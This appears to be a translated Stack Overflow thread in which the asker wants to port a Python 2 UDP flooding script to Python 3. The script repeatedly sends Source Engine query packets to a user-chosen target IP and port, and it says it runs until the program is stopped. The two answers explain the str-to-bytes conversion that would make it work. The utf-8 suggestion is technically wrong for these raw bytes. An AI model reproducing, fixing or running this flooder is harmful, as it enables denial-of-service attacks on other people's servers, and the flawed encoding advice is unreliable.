这是用Python2.x编写的代码,我想让它在Python3.x中运行。
在Python3.x中,这一行看起来是什么样的呢?
while True:
sock.sendto(bytes,(ip,port))注意:我以前从未使用过Python,所以如果这对你来说是个愚蠢的问题,不要对我开枪。
下面是完整的代码,在Python 3中应该是什么样的呢?
import socket, sys
sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
bytes = '\xff\xff\xff\xff\x54\x53\x6f\x75\x72\x63\x65\x20\x45\x6e\x67\x69\x6e\x65\x20\x51\x75\x65\x72\x00'
ip = input("Target IP: ")
port = input("Target Port: ")
print ("Exit the program to stop the flood")
while True:
sock.sendto(bytes,(ip,port))发布于 2012-12-04 13:07:09
Python 3中的代码完全相同。
不同的是,str类型在Python3中表示Unicode字符串,str是Python2中的字节字符串。
将bytes转换为bytes,例如,s.encode(encoding)。还可以重命名bytes,以避免与内置名称bytes混淆。
发布于 2012-12-04 13:04:14
最有可能的是bytes是一个str,这意味着它是一个字符集合。通过网络,您不能发送字符,而只能发送字节。字符可以通过多种方式编码成字节流。你很可能想用utf-8来做这个。可以使用the_string.encode ('utf-8')将str编码为字节对象。此字节对象可以通过网络发送。
https://stackoverflow.com/questions/13703458
复制相似问题